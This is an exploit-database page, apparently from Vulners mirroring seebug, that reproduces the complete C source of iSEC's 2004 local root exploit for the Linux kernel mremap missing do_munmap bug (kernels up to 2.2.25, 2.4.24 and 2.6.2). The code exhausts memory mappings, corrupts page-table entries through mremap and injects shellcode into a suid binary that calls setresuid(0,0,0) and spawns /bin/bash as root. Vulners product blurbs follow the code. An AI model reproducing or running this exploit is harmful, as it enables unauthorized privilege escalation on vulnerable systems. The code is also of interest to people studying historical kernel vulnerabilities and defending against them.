Lucene search
K

Linux Kernel 2.x mremap missing do_munmap Exploit

🗓️ 28 Oct 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Linux Kernel mremap Vulnerability Exploi

Code

                                                /*
 *
 *	mremap missing do_munmap return check kernel exploit
 *
 *	gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
 *	./mremap_pte [suid] [[shell]]
 *	
 *	Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
 *
 *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

//	this is for standard kernels with 3/1 split
#define STARTADDR	0x40000000
#define PGD_SIZE	(PAGE_SIZE * 1024)
#define VICTIM		(STARTADDR + PGD_SIZE)
#define MMAP_BASE	(STARTADDR + 3*PGD_SIZE)

#define DSIGNAL		SIGCHLD
#define CLONEFL		(DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE	( (1UL) << 0 )
#define MREMAP_FIXED	( (1UL) << 1 )

#define __NR_sys_mremap	__NR_mremap


//	how many ld.so pages? this is the .text section length (like cat 	
//	/proc/self/maps) in pages
#define LINKERPAGES	0x14

//	suid victim
static char *suid="/bin/ping";

//	shell to start
static char *launch="/bin/bash";


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, 		
	  ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, 
			 unsigned long new_len, unsigned long flags, 
			 unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;


//	code to appear inside the suid image
static void suid_code(void)
{
__asm__(
	"		call	callme				\n"

//	setresuid(0, 0, 0), setresgid(0, 0, 0)
	"jumpme:	xorl	%ebx, %ebx			\n"
	"		xorl	%ecx, %ecx			\n"
	"		xorl	%edx, %edx			\n"
	"		xorl	%eax, %eax			\n"
	"		mov	$"xstr(__NR_setresuid)", %al	\n"
	"		int	$0x80				\n"
	"		mov	$"xstr(__NR_setresgid)", %al	\n"
	"		int	$0x80				\n"

//	execve(launch)
	"		popl	%ebx				\n"
	"		andl	$0xfffff000, %ebx		\n"
	"		xorl	%eax, %eax			\n"
	"		pushl	%eax				\n"
	"		movl	%esp, %edx			\n"
	"		pushl	%ebx				\n"
	"		movl	%esp, %ecx			\n"
	"		mov	$"xstr(__NR_execve)", %al	\n"
	"		int	$0x80				\n"

//	exit
	"		xorl	%eax, %eax			\n"
	"		mov	$"xstr(__NR_exit)", %al		\n"
	"		int	$0x80				\n"

	"callme:	jmp	jumpme				\n"
	);
}


static int suid_code_end(int v)
{
return v+1;
}


static inline void get_esp(void)
{
__asm__(
	"		movl	%%esp, %%eax			\n"
	"		andl	$0xfffff000, %%eax		\n"
	"		movl	%%eax, %0			\n"
	: : "m"(old_esp)
	);
}


static inline void cloneme(void)
{
__asm__(
	"		pusha					\n"
	"		movl $("xstr(CLONEFL)"), %%ebx		\n"
	"		movl %%esp, %%ecx			\n"
	"		movl $"xstr(__NR_clone)", %%eax		\n"
	"		int  $0x80				\n"
	"		movl %%eax, %0				\n"
	"		popa					\n"
	: : "m"(pid)
	);
}


static inline void my_execve(void)
{
__asm__(
	"		movl %1, %%ebx				\n"
	"		movl %2, %%ecx				\n"
	"		movl %3, %%edx				\n"
	"		movl $"xstr(__NR_execve)", %%eax	\n"
	"		int  $0x80				\n"
	: "=a"(ret)
	: "m"(suid), "m"(argv), "m"(env)
	);
}


static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

	memset((void*)addr, 0x90, PAGE_SIZE);
	r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
	ptr = (void*) (addr + PAGE_SIZE);
	ptr -= r+1;
	memcpy(ptr, suid_code, r);
	memcpy((void*)addr, launch, strlen(launch)+1);
}


//	hit VMA limit & populate PTEs
static void exhaust(void)
{
//	mmap PTE donor
	t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
		  MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
	if(MAP_FAILED==t)
		goto failed;

//	prepare shell code pages
	for(i=2; i<LINKERPAGES+1; i++)
		pte_populate(victim + PAGE_SIZE*i);
	i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
	if(i)
		goto failed;

//	lock unmap
	base = MMAP_BASE;
	cnt = 0;
	prot = PROT_READ;
	printf("\n"); fflush(stdout);
	for(;;) {
		t = mmap((void*)base, PAGE_SIZE, prot, 
			 MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(MAP_FAILED==t) {
			if(ENOMEM==errno)
				break;
			else
				goto failed;
		}
		if( !(cnt%512) || cnt>65520 )
			printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
			base+PAGE_SIZE); fflush(stdout);
		base += PAGE_SIZE;
		prot ^= PROT_EXEC;
		cnt++;
	}

//	move PTEs & populate page table cache
	ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,	
			 MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
	if(-1==ret)
		goto failed;

	munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
	t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE, 		
		 PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 
		 0);
	if(MAP_FAILED==t)
		goto failed;

	*t = *((unsigned *)old_esp);
	munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
	printf("\n[+] Success\n\n"); fflush(stdout);
	return;

failed:
	printf("\n[-] Failed\n"); fflush(stdout);
	_exit(0);
}


static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

	uname(&un);
	n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
	if(n!=3 || a!=2) {
		printf("\n[-] invalid kernel version string\n");
		_exit(0);
	}

	if(b==2) {
		if(c<=25)
			v=1;
	}
	else if(b==3) {
		if(c<=99)
			v=1;
	}
	else if(b==4) {
		if(c>18 && c<=24)
			v=1, e=1;
		else if(c>24)
			v=0, e=0;
		else
			v=1, e=0;
	}
	else if(b==5 && c<=75)
		v=1, e=1;
	else if(b==6 && c<=2)
		v=1, e=1;

	printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
		un.release, v? "YES" : "NO", e? "YES" : "NO" );
	fflush(stdout);

	if(v && e)
		return;
	_exit(0);
}


int main(int ac, char **av)
{
//	prepare
	check_kver();
	memset(env, 0, sizeof(env));
	memset(argv, 0, sizeof(argv));
	if(ac>1) suid=av[1];
	if(ac>2) launch=av[2];
	argv[0] = suid;
	get_esp();

//	mmap & clone & execve
	exhaust();
	cloneme();
	if(!pid) {
		my_execve();
	} else {
		waitpid(pid, 0, 0);
	}

return 0;
}




                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Oct 2006 00:00Current
7.1High risk
Vulners AI Score7.1
20